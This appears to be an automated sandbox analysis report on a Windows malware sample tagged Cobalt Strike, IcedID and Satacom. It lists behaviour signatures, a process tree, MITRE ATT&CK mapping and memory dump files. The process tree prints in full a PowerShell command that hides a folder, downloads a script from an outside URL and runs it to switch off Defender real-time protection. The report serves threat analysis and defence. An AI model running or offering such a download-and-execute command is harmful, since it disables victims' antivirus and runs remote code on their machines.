Analysis
- max time kernel
149s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
28/08/2026, 23:22
General
- Target 2026-08-28_0332537cc9699bb5db69a66fc446d91d_cobalt-strike_icedid_satacom.exe
- Size 118KB
- Sample260828-3cks1sthph
- SHA256 143dc4207a4be6c6add2d4eda1ded122f7705d8e7bfafce453b86062d628eef8
Malware Config
Signatures
- UAC bypass 3 TTPs 4 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Drops file in System32 directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies data under HKEY_USERS 7 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-28_0332537cc9699bb5db69a66fc446d91d_cobalt-strike_icedid_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-28_0332537cc9699bb5db69a66fc446d91d_cobalt-strike_icedid_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Normal -Command "$p = Join-Path $env:APPDATA 'WinDefCtl'; if (!(Test-Path $p)) { New-Item $p -ItemType Directory -Force | Out-Null; attrib +h $p }; Invoke-WebRequest -Uri 'https://github.com/wesmar/WinDefCtl/releases/download/v2.0.0/WinDefCtl-v2.ps1' -OutFile (Join-Path $p 'WinDefCtl-v2.ps1'); & (Join-Path $p 'WinDefCtl-v2.ps1') rtp off"2⤵
- UAC bypass
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:\Users\Admin\AppData\Roaming\WinDefCtl3⤵
- Views/modifies file attributes
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ujlhqdg\1ujlhqdg.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8514.tmp" "c:\Users\Admin\AppData\Local\Temp\1ujlhqdg\CSC6631C5F4773A44A79587C31D2C3BEDC0.TMP"4⤵
-
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Temp /v WinDefCtl_Warmed /t REG_DWORD /d 1 /f3⤵
- Modifies registry key
-
-
-
C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca1⤵
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Replay Monitor
Loading Replay Monitor...
Downloads
1ujlhqdg.dll
RES8514.tmp
1ujlhqdg.0.cs
1ujlhqdg.cmdline
CSC6631C5F4773A44A79587C31D2C3BEDC0.TMP
memory/1064-10-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-8-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-11-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-12-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-13-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-14-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-18-0x0000026F7FA70000-0x0000026F7FAAE000-memory.dmp
memory/1064-17-0x0000026F7FA00000-0x0000026F7FA2E000-memory.dmp
memory/1064-9-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-2-0x00007FFC81CEF000-0x00007FFC81CF0000-memory.dmp
memory/1064-7-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-6-0x0000026F7F0B0000-0x0000026F7F0D2000-memory.dmp
memory/1064-31-0x0000026F7EF10000-0x0000026F7EF18000-memory.dmp
memory/1064-3-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-32-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-33-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-35-0x0000026F7FAB0000-0x0000026F7FABE000-memory.dmp
memory/1064-36-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp
memory/1064-38-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp